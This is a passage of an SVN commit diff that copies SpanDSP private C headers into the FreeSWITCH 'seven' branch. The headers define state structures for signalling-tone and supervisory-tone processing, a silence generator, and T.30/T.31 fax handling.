Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/sig_tone.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/sig_tone.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/sig_tone.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/sig_tone.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,220 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/sig_tone.h - Signalling tone processing for the 2280Hz, 2400Hz, 2600Hz
+ *                      and similar signalling tone used in older protocols.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: sig_tone.h,v 1.3 2009/04/12 14:18:02 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_SIG_TONE_H_)
+#define _SPANDSP_PRIVATE_SIG_TONE_H_
+
+/*!
+    Signaling tone descriptor. This defines the working state for a
+    single instance of the transmit and receive sides of a signaling
+    tone processor.
+*/
+struct sig_tone_descriptor_s
+{
+    /*! \brief The tones used. */
+    int tone_freq[2];
+    /*! \brief The high and low tone amplitudes. */
+    int tone_amp[2];
+
+    /*! \brief The delay, in audio samples, before the high level tone drops
+               to a low level tone. */
+    int high_low_timeout;
+
+    /*! \brief Some signaling tone detectors use a sharp initial filter,
+               changing to a broader band filter after some delay. This
+               parameter defines the delay. 0 means it never changes. */
+    int sharp_flat_timeout;
+
+    /*! \brief Parameters to control the behaviour of the notch filter, used
+               to remove the tone from the voice path in some protocols. */
+    int notch_lag_time;
+    /*! \brief TRUE if the notch may be used in the media flow. */
+    int notch_allowed;
+
+    /*! \brief The tone on persistence check, in audio samples. */
+    int tone_on_check_time;
+    /*! \brief The tone off persistence check, in audio samples. */
+    int tone_off_check_time;
+
+    /*! \brief ??? */
+    int tones;
+    /*! \brief The coefficients for the cascaded bi-quads notch filter. */
+    struct
+    {
+#if defined(SPANDSP_USE_FIXED_POINT)
+        int32_t notch_a1[3];
+        int32_t notch_b1[3];
+        int32_t notch_a2[3];
+        int32_t notch_b2[3];
+        int notch_postscale;
+#else
+        float notch_a1[3];
+        float notch_b1[3];
+        float notch_a2[3];
+        float notch_b2[3];
+#endif
+    } tone[2];
+
+
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief Flat mode bandpass bi-quad parameters */
+    int32_t broad_a[3];
+    /*! \brief Flat mode bandpass bi-quad parameters */
+    int32_t broad_b[3];
+    /*! \brief Post filter scaling */
+    int broad_postscale;
+#else
+    /*! \brief Flat mode bandpass bi-quad parameters */
+    float broad_a[3];
+    /*! \brief Flat mode bandpass bi-quad parameters */
+    float broad_b[3];
+#endif
+    /*! \brief The coefficients for the post notch leaky integrator. */
+    int32_t notch_slugi;
+    /*! \brief ??? */
+    int32_t notch_slugp;
+
+    /*! \brief The coefficients for the post modulus leaky integrator in the
+               unfiltered data path.  The prescale value incorporates the
+               detection ratio. This is called the guard ratio in some
+               protocols. */
+    int32_t unfiltered_slugi;
+    /*! \brief ??? */
+    int32_t unfiltered_slugp;
+
+    /*! \brief The coefficients for the post modulus leaky integrator in the
+               bandpass filter data path. */
+    int32_t broad_slugi;
+    /*! \brief ??? */
+    int32_t broad_slugp;
+
+    /*! \brief Masks which effectively threshold the notched, weighted and
+               bandpassed data. */
+    int32_t notch_threshold;
+    /*! \brief ??? */
+    int32_t unfiltered_threshold;
+    /*! \brief ??? */
+    int32_t broad_threshold;
+};
+
+/*!
+    Signaling tone transmit state
+ */
+struct sig_tone_tx_state_s
+{
+    /*! \brief The callback function used to handle signaling changes. */
+    sig_tone_func_t sig_update;
+    /*! \brief A user specified opaque pointer passed to the callback function. */
+    void *user_data;
+
+    /*! \brief Tone descriptor */
+    sig_tone_descriptor_t *desc;
+
+    /*! The scaling values for the high and low level tones */
+    int16_t tone_scaling[2];
+    /*! The sample timer, used to switch between the high and low level tones. */
+    int high_low_timer;
+
+    /*! The phase rates for the one or two tones */
+    int32_t phase_rate[2];
+    /*! The phase accumulators for the one or two tones */
+    uint32_t phase_acc[2];
+
+    /*! \brief Current transmit tone */
+    int current_tx_tone;
+    /*! \brief Current transmit timeout */
+    int current_tx_timeout;
+    /*! \brief Time in current signaling state, in samples. */
+    int signaling_state_duration;
+};
+
+/*!
+    Signaling tone receive state
+ */
+struct sig_tone_rx_state_s
+{
+    /*! \brief The callback function used to handle signaling changes. */
+    sig_tone_func_t sig_update;
+    /*! \brief A user specified opaque pointer passed to the callback function. */
+    void *user_data;
+
+    /*! \brief Tone descriptor */
+    sig_tone_descriptor_t *desc;
+
+    /*! \brief The current receive tone */
+    int current_rx_tone;
+    /*! \brief The timeout for switching from the high level to low level tone detector. */
+    int high_low_timer;
+
+    struct
+    {
+#if defined(SPANDSP_USE_FIXED_POINT)
+        /*! \brief The z's for the notch filter */
+        int32_t notch_z1[3];
+        /*! \brief The z's for the notch filter */
+        int32_t notch_z2[3];
+#else
+        /*! \brief The z's for the notch filter */
+        float notch_z1[3];
+        /*! \brief The z's for the notch filter */
+        float notch_z2[3];
+#endif
+
+        /*! \brief The z's for the notch integrators. */
+        int32_t notch_zl;
+    } tone[2];
+
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief The z's for the weighting/bandpass filter. */
+    int32_t broad_z[3];
+#else
+    /*! \brief The z's for the weighting/bandpass filter. */
+    float broad_z[3];
+#endif
+    /*! \brief The z for the broadband integrator. */
+    int32_t broad_zl;
+
+    /*! \brief ??? */
+    int flat_mode;
+    /*! \brief ??? */
+    int tone_present;
+    /*! \brief ??? */
+    int notch_enabled;
+    /*! \brief ??? */
+    int flat_mode_timeout;
+    /*! \brief ??? */
+    int notch_insertion_timeout;
+    /*! \brief ??? */
+    int tone_persistence_timeout;
+    
+    /*! \brief ??? */
+    int signaling_state_duration;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/silence_gen.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/silence_gen.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/silence_gen.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/silence_gen.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/silence_gen.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/silence_gen.c - A silence generator, for inserting timed silences.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: silence_gen.h,v 1.1 2009/04/12 03:29:58 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_SILENCE_GEN_H_)
+#define _SPANDSP_PRIVATE_SILENCE_GEN_H_
+
+struct silence_gen_state_s
+{
+    /*! \brief The callback function used to report status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    int remaining_samples;
+    int total_samples;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_rx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_rx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/super_tone_rx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_rx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/super_tone_rx.h - Flexible telephony supervisory tone detection.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: super_tone_rx.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_SUPER_TONE_RX_H_)
+#define _SPANDSP_PRIVATE_SUPER_TONE_RX_H_
+
+#define BINS            128
+
+struct super_tone_rx_segment_s
+{
+    int f1;
+    int f2;
+    int recognition_duration;
+    int min_duration;
+    int max_duration;
+};
+
+struct super_tone_rx_descriptor_s
+{
+    int used_frequencies;
+    int monitored_frequencies;
+    int pitches[BINS/2][2];
+    int tones;
+    super_tone_rx_segment_t **tone_list;
+    int *tone_segs;
+    goertzel_descriptor_t *desc;
+};
+
+struct super_tone_rx_state_s
+{
+    super_tone_rx_descriptor_t *desc;
+    float energy;
+    int detected_tone;
+    int rotation;
+    tone_report_func_t tone_callback;
+    void (*segment_callback)(void *data, int f1, int f2, int duration);
+    void *callback_data;
+    super_tone_rx_segment_t segments[11];
+    goertzel_state_t state[];
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_tx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_tx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/super_tone_tx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_tx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/super_tone_tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/super_tone_tx.h - Flexible telephony supervisory tone generation.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: super_tone_tx.h,v 1.1 2008/11/30 10:22:19 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_SUPER_TONE_TX_H_)
+#define _SPANDSP_PRIVATE_SUPER_TONE_TX_H_
+
+struct super_tone_tx_step_s
+{
+    tone_gen_tone_descriptor_t tone[4];
+    int tone_on;
+    int length;
+    int cycles;
+    super_tone_tx_step_t *next;
+    super_tone_tx_step_t *nest;
+};
+
+struct super_tone_tx_state_s
+{
+    tone_gen_tone_descriptor_t tone[4];
+    uint32_t phase[4];
+    int current_position;
+    int level;
+    super_tone_tx_step_t *levels[4];
+    int cycles[4];
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t30.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t30.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t30.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t30.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t30.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,286 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t30.h - definitions for T.30 fax processing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t30.h,v 1.4 2009/04/12 14:18:02 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_T30_H_)
+#define _SPANDSP_PRIVATE_T30_H_
+
+/*!
+    T.30 FAX channel descriptor. This defines the state of a single working
+    instance of a T.30 FAX channel.
+*/
+struct t30_state_s
+{
+    /* This must be kept the first thing in the structure, so it can be pointed
+       to reliably as the structures change over time. */
+    /*! \brief T.4 context for reading or writing image data. */
+    t4_state_t t4;
+    
+    /*! \brief The type of FAX operation currently in progress */
+    int operation_in_progress;
+
+    /*! \brief TRUE if behaving as the calling party */
+    int calling_party;
+    
+    /*! \brief The received DCS, formatted as an ASCII string, for inclusion
+               in the TIFF file. */
+    char rx_dcs_string[T30_MAX_DIS_DTC_DCS_LEN*3 + 1];
+    /*! \brief The text which will be used in FAX page header. No text results
+               in no header line. */
+    char header_info[T30_MAX_PAGE_HEADER_INFO + 1];
+    /*! \brief The information fields received. */
+    t30_exchanged_info_t rx_info;
+    /*! \brief The information fields to be transmitted. */
+    t30_exchanged_info_t tx_info;
+    /*! \brief The country of origin of the remote machine, if known, else NULL. */
+    const char *country;
+    /*! \brief The vendor of the remote machine, if known, else NULL. */
+    const char *vendor;
+    /*! \brief The model of the remote machine, if known, else NULL. */
+    const char *model;
+
+    /*! \brief A pointer to a callback routine to be called when phase B events
+        occur. */
+    t30_phase_b_handler_t *phase_b_handler;
+    /*! \brief An opaque pointer supplied in event B callbacks. */
+    void *phase_b_user_data;
+    /*! \brief A pointer to a callback routine to be called when phase D events
+        occur. */
+    t30_phase_d_handler_t *phase_d_handler;
+    /*! \brief An opaque pointer supplied in event D callbacks. */
+    void *phase_d_user_data;
+    /*! \brief A pointer to a callback routine to be called when phase E events
+        occur. */
+    t30_phase_e_handler_t *phase_e_handler;
+    /*! \brief An opaque pointer supplied in event E callbacks. */
+    void *phase_e_user_data;
+    /*! \brief A pointer to a callback routine to be called when frames are
+        exchanged. */
+    t30_real_time_frame_handler_t *real_time_frame_handler;
+    /*! \brief An opaque pointer supplied in real time frame callbacks. */
+    void *real_time_frame_user_data;
+
+    /*! \brief A pointer to a callback routine to be called when document events
+        (e.g. end of transmitted document) occur. */
+    t30_document_handler_t *document_handler;
+    /*! \brief An opaque pointer supplied in document callbacks. */
+    void *document_user_data;
+
+    /*! \brief The handler for changes to the receive mode */
+    t30_set_handler_t *set_rx_type_handler;
+    /*! \brief An opaque pointer passed to the handler for changes to the receive mode */
+    void *set_rx_type_user_data;
+    /*! \brief The handler for changes to the transmit mode */
+    t30_set_handler_t *set_tx_type_handler;
+    /*! \brief An opaque pointer passed to the handler for changes to the transmit mode */
+    void *set_tx_type_user_data;
+
+    /*! \brief The transmitted HDLC frame handler. */
+    t30_send_hdlc_handler_t *send_hdlc_handler;
+    /*! \brief An opaque pointer passed to the transmitted HDLC frame handler. */
+    void *send_hdlc_user_data;
+
+    /*! \brief The DIS code for the minimum scan row time we require. This is usually 0ms,
+        but if we are trying to simulate another type of FAX machine, we may need a non-zero
+        value here. */
+    uint8_t local_min_scan_time_code;
+
+    /*! \brief The current T.30 phase. */
+    int phase;
+    /*! \brief The T.30 phase to change to when the current phase ends. */
+    int next_phase;
+    /*! \brief The current state of the T.30 state machine. */
+    int state;
+    /*! \brief The step in sending a sequence of HDLC frames. */
+    int step;
+
+    /*! \brief The preparation buffer for the DCS message to be transmitted. */
+    uint8_t dcs_frame[T30_MAX_DIS_DTC_DCS_LEN];
+    /*! \brief The length of the DCS message to be transmitted. */
+    int dcs_len;
+    /*! \brief The preparation buffer for DIS or DTC message to be transmitted. */
+    uint8_t local_dis_dtc_frame[T30_MAX_DIS_DTC_DCS_LEN];
+    /*! \brief The length of the DIS or DTC message to be transmitted. */
+    int local_dis_dtc_len;
+    /*! \brief The last DIS or DTC message received form the far end. */
+    uint8_t far_dis_dtc_frame[T30_MAX_DIS_DTC_DCS_LEN];
+    /*! \brief The length of the last DIS or DTC message received form the far end. */
+    int far_dis_dtc_len;
+    /*! \brief TRUE if a valid DIS has been received from the far end. */
+    int dis_received;
+
+    /*! \brief A flag to indicate a message is in progress. */
+    int in_message;
+
+    /*! \brief TRUE if the short training sequence should be used. */
+    int short_train;
+
+    /*! \brief A count of the number of bits in the trainability test. This counts down to zero when
+        sending TCF, and counts up when receiving it. */
+    int tcf_test_bits;
+    /*! \brief The current count of consecutive received zero bits, during the trainability test. */
+    int tcf_current_zeros;
+    /*! \brief The maximum consecutive received zero bits seen to date, during the trainability test. */
+    int tcf_most_zeros;
+
+    /*! \brief The current fallback step for the fast message transfer modem. */
+    int current_fallback;
+    /*! \brief The subset of supported modems allowed at the current time, allowing for negotiation. */
+    int current_permitted_modems;
+    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
+    int rx_signal_present;
+    /*! \brief TRUE if a modem has trained correctly. */
+    int rx_trained;
+    /*! \brief TRUE if a valid HDLC frame has been received in the current reception period. */
+    int rx_frame_received;
+
+    /*! \brief Current reception mode. */
+    int current_rx_type;
+    /*! \brief Current transmission mode. */
+    int current_tx_type;
+
+    /*! \brief T0 is the answer timeout when calling another FAX machine.
+        Placing calls is handled outside the FAX processing, but this timeout keeps
+        running until V.21 modulation is sent or received.
+        T1 is the remote terminal identification timeout (in audio samples). */
+    int timer_t0_t1;
+    /*! \brief T2, T2A and T2B are the HDLC command timeouts.
+               T4, T4A and T4B are the HDLC response timeouts (in audio samples). */
+    int timer_t2_t4;
+    /*! \brief A value specifying which of the possible timers is currently running in timer_t2_t4 */
+    int timer_t2_t4_is;
+    /*! \brief Procedural interrupt timeout (in audio samples). */
+    int timer_t3;
+    /*! \brief This is only used in error correcting mode. */
+    int timer_t5;
+    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
+    int timer_t6;
+    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
+    int timer_t7;
+    /*! \brief This is only used in full duplex (e.g. ISDN) modes. */
+    int timer_t8;
+
+    /*! \brief TRUE once the far end FAX entity has been detected. */
+    int far_end_detected;
+
+    /*! \brief TRUE if a local T.30 interrupt is pending. */
+    int local_interrupt_pending;
+    /*! \brief The image coding being used on the line. */
+    int line_encoding;
+    /*! \brief The image coding being used for output files. */
+    int output_encoding;
+    /*! \brief The current DCS message minimum scan time code. */
+    uint8_t min_scan_time_code;
+    /*! \brief The X direction resolution of the current image, in pixels per metre. */
+    int x_resolution;
+    /*! \brief The Y direction resolution of the current image, in pixels per metre. */
+    int y_resolution;
+    /*! \brief The width of the current image, in pixels. */
+    t4_image_width_t image_width;
+    /*! \brief Current number of retries of the action in progress. */
+    int retries;
+    /*! \brief TRUE if error correcting mode is used. */
+    int error_correcting_mode;
+    /*! \brief The number of HDLC frame retries, if error correcting mode is used. */
+    int error_correcting_mode_retries;
+    /*! \brief The current count of consecutive T30_PPR messages. */
+    int ppr_count;
+    /*! \brief The current count of consecutive T30_RNR messages. */
+    int receiver_not_ready_count;
+    /*! \brief The number of octets to be used per ECM frame. */
+    int octets_per_ecm_frame;
+    /*! \brief The ECM partial page buffer. */
+    uint8_t ecm_data[256][260];
+    /*! \brief The lengths of the frames in the ECM partial page buffer. */
+    int16_t ecm_len[256];
+    /*! \brief A bit map of the OK ECM frames, constructed as a PPR frame. */
+    uint8_t ecm_frame_map[3 + 32];
+    
+    /*! \brief The current page number for receiving, in ECM mode. This is reset at the start of a call. */
+    int ecm_rx_page;
+    /*! \brief The current page number for sending, in ECM mode. This is reset at the start of a call. */
+    int ecm_tx_page;
+    /*! \brief The current block number, in ECM mode */
+    int ecm_block;
+    /*! \brief The number of frames in the current block number, in ECM mode */
+    int ecm_frames;
+    /*! \brief The number of frames sent in the current burst of image transmission, in ECM mode */
+    int ecm_frames_this_tx_burst;
+    /*! \brief The current ECM frame, during ECM transmission. */
+    int ecm_current_tx_frame;
+    /*! \brief TRUE if we are at the end of an ECM page to se sent - i.e. there are no more
+        partial pages still to come. */
+    int ecm_at_page_end;
+
+    /*! \brief The transmission step queued to follow the one in progress. */
+    int next_tx_step;
+    /*! \brief The FCF for the next receive step. */
+    uint8_t next_rx_step;
+    /*! \brief Image file name for image reception. */
+    char rx_file[256];
+    /*! \brief The last page we are prepared accept for a received image file. -1 means no restriction. */
+    int rx_stop_page;
+    /*! \brief Image file name to be sent. */
+    char tx_file[256];
+    /*! \brief The first page to be sent from the image file. -1 means no restriction. */
+    int tx_start_page;
+    /*! \brief The last page to be sent from the image file. -1 means no restriction. */
+    int tx_stop_page;
+    /*! \brief The current completion status. */
+    int current_status;
+    /*! \brief Internet Aware FAX mode bit mask. */
+    int iaf;
+    /*! \brief A bit mask of the currently supported modem types. */
+    int supported_modems;
+    /*! \brief A bit mask of the currently supported image compression modes. */
+    int supported_compressions;
+    /*! \brief A bit mask of the currently supported image resolutions. */
+    int supported_resolutions;
+    /*! \brief A bit mask of the currently supported image sizes. */
+    int supported_image_sizes;
+    /*! \brief A bit mask of the currently supported T.30 special features. */
+    int supported_t30_features;
+    /*! \brief TRUE is ECM mode handling is enabled. */
+    int ecm_allowed;
+    
+    /*! \brief the FCF2 field of the last PPS message we received. */
+    uint8_t last_pps_fcf2;
+    /*! \brief The number of the first ECM frame which we do not currently received correctly. For
+        a partial page received correctly, this will be one greater than the number of frames it
+        contains. */
+    int ecm_first_bad_frame;
+    /*! \brief A count of successfully received ECM frames, to assess progress as a basis for
+        deciding whether to continue error correction when PPRs keep repeating. */
+    int ecm_progress;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t31.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t31.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t31.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t31.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t31.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,199 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t31.h - A T.31 compatible class 1 FAX modem interface.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t31.h,v 1.7 2009/02/12 12:38:39 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_T31_H_)
+#define _SPANDSP_PRIVATE_T31_H_
+
+/*!
+    Analogue FAX front end channel descriptor. This defines the state of a single working
+    instance of an analogue line FAX front end.
+*/
+typedef struct
+{
+    fax_modems_state_t modems;
+
+    /*! The transmit signal handler to be used when the current one has finished sending. */
+    span_tx_handler_t *next_tx_handler;
+    void *next_tx_user_data;
+
+    /*! \brief No of data bits in current_byte. */
+    int bit_no;
+    /*! \brief The current data byte in progress. */
+    int current_byte;
+
+    /*! \brief Rx power meter, used to detect silence. */
+    power_meter_t rx_power;
+    /*! \brief Last sample, used for an elementary HPF for the power meter. */
+    int16_t last_sample;
+    /*! \brief The current silence threshold. */
+    int32_t silence_threshold_power;
+
+    /*! \brief Samples of silence heard */
+    int silence_heard;
+} t31_audio_front_end_state_t;
+
+/*!
+    Analogue FAX front end channel descriptor. This defines the state of a single working
+    instance of an analogue line FAX front end.
+*/
+typedef struct
+{
+    /*! \brief Internet Aware FAX mode bit mask. */
+    int iaf;
+    /*! \brief Required time between T.38 transmissions, in ms. */
+    int ms_per_tx_chunk;
+    /*! \brief Bit fields controlling the way data is packed into chunked for transmission. */
+    int chunking_modes;
+
+    /*! \brief Core T.38 IFP support */
+    t38_core_state_t t38;
+
+    /*! \brief The current transmit step being timed */
+    int timed_step;
+
+    /*! \brief TRUE is there has been some T.38 data missed */
+    int rx_data_missing;
+
+    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
+               rate and the current specified packet interval. */
+    int octets_per_data_packet;
+
+    /*! \brief An HDLC context used when sending HDLC messages to the terminal port
+               (ECM mode support). */
+    hdlc_tx_state_t hdlc_tx_term;
+    /*! \brief An HDLC context used when receiving HDLC messages from the terminal port.
+               (ECM mode support). */
+    hdlc_rx_state_t hdlc_rx_term;
+
+    struct
+    {
+        uint8_t buf[T31_T38_MAX_HDLC_LEN];
+        int len;
+    } hdlc_rx;
+
+    struct
+    {
+        /*! \brief The number of extra bits in a fully stuffed version of the
+                   contents of the HDLC transmit buffer. This is needed to accurately
+                   estimate the playout time for this frame, through an analogue modem. */
+        int extra_bits;
+    } hdlc_tx;
+
+    /*! \brief TRUE if we are using ECM mode. This is used to select HDLC faking, necessary
+               with clunky class 1 modems. */
+    int ecm_mode;
+
+    /*! \brief Counter for trailing non-ECM bytes, used to flush out the far end's modem. */
+    int non_ecm_trailer_bytes;
+
+    /*! \brief The next queued tramsit indicator */
+    int next_tx_indicator;
+    /*! \brief The current T.38 data type being transmitted */
+    int current_tx_data_type;
+
+    /*! \brief The current operating mode of the receiver. */
+    int current_rx_type;
+    /*! \brief The current operating mode of the transmitter. */
+    int current_tx_type;
+
+    /*! \brief Current transmission bit rate. */
+    int tx_bit_rate;
+    /*! \brief A "sample" count, used to time events. */
+    int32_t samples;
+    /*! \brief The value for samples at the next transmission point. */
+    int32_t next_tx_samples;
+    /*! \brief The current receive timeout. */
+    int32_t timeout_rx_samples;
+} t31_t38_front_end_state_t;
+
+/*!
+    T.31 descriptor. This defines the working state for a single instance of
+    a T.31 FAX modem.
+*/
+struct t31_state_s
+{
+    at_state_t at_state;
+    t31_modem_control_handler_t *modem_control_handler;
+    void *modem_control_user_data;
+
+    t31_audio_front_end_state_t audio;
+    t31_t38_front_end_state_t t38_fe;
+    /*! TRUE if working in T.38 mode. */
+    int t38_mode;
+
+    /*! HDLC buffer, for composing an HDLC frame from the computer to the channel. */
+    struct
+    {
+        uint8_t buf[T31_MAX_HDLC_LEN];
+        int len;
+        int ptr;
+        /*! \brief TRUE when the end of HDLC data from the computer has been detected. */
+        int final;
+    } hdlc_tx;
+    /*! Buffer for data from the computer to the channel. */
+    struct
+    {
+        uint8_t data[T31_TX_BUF_LEN];
+        /*! \brief The number of bytes stored in transmit buffer. */
+        int in_bytes;
+        /*! \brief The number of bytes sent from the transmit buffer. */
+        int out_bytes;
+        /*! \brief TRUE if the flow of real data has started. */
+        int data_started;
+        /*! \brief TRUE if holding up further data into the buffer, for flow control. */
+        int holding;
+        /*! \brief TRUE when the end of non-ECM data from the computer has been detected. */
+        int final;
+    } tx;
+
+    /*! TRUE if DLE prefix just used */
+    int dled;
+
+	/*! \brief Samples of silence awaited, as specified in a "wait for silence" command */
+    int silence_awaited;
+
+    /*! \brief The current bit rate for the FAX fast message transfer modem. */
+    int bit_rate;
+    /*! \brief TRUE if a valid HDLC frame has been received in the current reception period. */
+    int rx_frame_received;
+
+    /*! \brief Samples elapsed in the current call */
+    int64_t call_samples;
+    int64_t dte_data_timeout;
+
+    /*! \brief The currently queued modem type. */
+    int modem;
+    /*! \brief TRUE when short training mode has been selected by the computer. */
+    int short_train;
+    queue_state_t *rx_queue;
+
